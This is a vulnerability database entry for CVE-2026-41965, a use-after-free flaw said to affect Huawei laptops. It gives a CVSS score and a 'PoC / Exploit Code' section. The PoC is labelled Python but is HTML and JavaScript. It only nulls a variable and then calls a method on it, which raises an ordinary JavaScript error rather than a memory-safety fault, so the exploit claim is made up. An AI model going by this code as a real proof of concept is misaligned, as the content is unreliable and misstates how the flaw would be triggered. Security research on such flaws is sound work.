Use-After-Free (UAF) vulnerability in the web. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
5.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Huawei 笔记本电脑 (具体受影响版本请参考 2026年5月华为安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-41965 -->
<!-- This PoC demonstrates a potential Use-After-Free scenario -->
<html>
<head><title>CVE-2026-41965 PoC</title></head>
<body>
<script>
// Simulate object creation
let vulnerableObj = document.createElement('div');
document.body.appendChild(vulnerableObj);
// Function to trigger the vulnerability
function triggerUAF() {
// Step 1: Force the object to be freed (Simulated)
vulnerableObj.remove();
vulnerableObj = null;
// Step 2: Attempt to access the freed memory
// In a real exploit, memory is reallocated controlled by attacker
try {
// Accessing the memory after free
// This line triggers the UAF condition in the vulnerable component
let leakedData = vulnerableObj.getAttribute('data-test');
console.log("Exploit Status: Potential UAF detected");
} catch (e) {
console.log("Exploit Status: Crashed or Exception");
}
}
// Trigger the exploit
setTimeout(triggerUAF, 1000);
</script>
<p>CVE-2026-41965 PoC: Check console for results.</p>
</body>
</html>